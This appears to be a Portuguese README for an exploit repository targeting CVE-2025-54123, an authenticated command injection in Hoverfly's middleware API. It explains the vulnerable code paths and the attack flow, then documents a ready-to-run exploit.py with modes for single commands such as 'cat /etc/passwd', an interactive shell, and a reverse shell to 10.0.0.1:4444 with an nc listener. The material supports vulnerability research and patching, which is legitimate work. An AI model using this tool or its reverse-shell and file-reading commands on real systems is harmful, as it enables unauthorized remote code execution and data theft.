CVE-2025-54123 — Execução Remota de Código na API Middleware do Hoverfly

RCE Autenticado via Injeção de Comandos do SO no Hoverfly ≤ 1.11.3

Visão Geral da Vulnerabilidade

Análise Técnica

Aqui está um estudo de caso aprofundado e análise técnica como perspectiva white box e black box https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a

Superfície de Ataque

O Hoverfly expõe uma API de administração RESTful (porta padrão 8888) para gerenciar configurações de simulação. O endpoint de gerenciamento de middleware em /api/v2/hoverfly/middleware aceita um corpo JSON com campos binary e script que definem um processo de middleware externo.

Causa Raiz

Esta vulnerabilidade surge de uma combinação de três falhas no código:

1. Validação de Entrada Insuficiente — middleware.go:93-96: A função SetBinary() aceita o parâmetro binary sem qualquer validação ou sanitização, permitindo que um atacante especifique executáveis arbitrários (ex.: bash).

2. Execução de Comando Insegura — local_middleware.go:14-19: O middleware é executado via exec.Command() com os valores binary e script controlados pelo atacante passados diretamente como argumentos, permitindo injeção de comandos do SO.

3. Execução Imediata Durante o Teste — hoverfly_service.go:173: Quando o middleware é configurado via API, o Hoverfly testa imediatamente o middleware executando-o, acionando o comando injetado no momento da configuração, e não no momento da interceptação do proxy.

Fluxo do Ataque

Attacker                              Hoverfly (≤ 1.11.3)
   │                                        │
   │─── POST /api/token-auth ──────────────>│  (1) Authenticate
   │<── { "token": "eyJ..." } ─────────────│
   │                                        │
   │─── PUT /api/v2/hoverfly/middleware ───>│  (2) Inject payload
   │    { "binary": "bash",                 │
   │      "script": "<malicious cmd>" }     │
   │                                        │
   │    ┌──────────────────────────────────┐│
   │    │ exec.Command("bash", tmpScript)  ││  (3) Immediate execution
   │    │ → attacker command runs as       ││
   │    │   the Hoverfly process user      ││
   │    └──────────────────────────────────┘│
   │                                        │
   │<── Command output in error response ──│  (4) Exfiltrate output
   │                                        │

Uso do Exploit

Pré-requisitos

• Python 3.8+
• Credenciais válidas para a API de administração do Hoverfly (padrão: admin / senha configurável)

Instalação

git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt

Modos de Operação

Modo Apenas Verificação

Verifique a acessibilidade do alvo e a autenticação sem exploração:

python3 exploit.py -u http://target:8888 -U admin -P <password> -C

Execução de Comando Único

Execute um único comando do SO no alvo:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'

Pseudo-Shell Interativo

Entre em uma sessão de shell persistente:

python3 exploit.py -u http://target:8888 -U admin -P <password> -i

Shell Reverso

Envie um shell reverso para seu ouvinte:

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444

Modo Detalhado com Proxy

Encaminhe o tráfego através do Burp Suite para inspeção:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v

Referência Completa de Flags

Remediação

Detalhes do Patch

A correção no commit 17e60a9 desabilita a API de definição de middleware por padrão. Alterações subsequentes na documentação (commit a9d4da7) conscientizam os usuários sobre as implicações de segurança de expor este endpoint.

Referências

• NVD — CVE-2025-54123
• Advertência de Segurança do GitHub — GHSA-r4h8-hfp2-ggmf
• Código Vulnerável — hoverfly_service.go#L173
• Código Vulnerável — middleware.go#L93
• Código Vulnerável — local_middleware.go#L13
• Commit do Patch — 17e60a9

Aviso Legal

Esta ferramenta é fornecida apenas para fins autorizados de teste de segurança e pesquisa educacional. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em todo o mundo. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema que você não possui.

Estrutura do Projeto

CVE-2025-54123/
├── Exploit/
│   ├── exploit.py          # Polished exploit
│   └── raw_exploit.py      # Original raw PoC
├── Images/                 # Research screenshots
├── Reference/              # Reference exploits for study
├── requirements.txt        # Python dependencies
└── README.md               # This file

Autor

Phantom Hat — Pesquisador de Segurança

Esta pesquisa foi realizada como parte de um estudo de caso de vulnerabilidade para fins educacionais.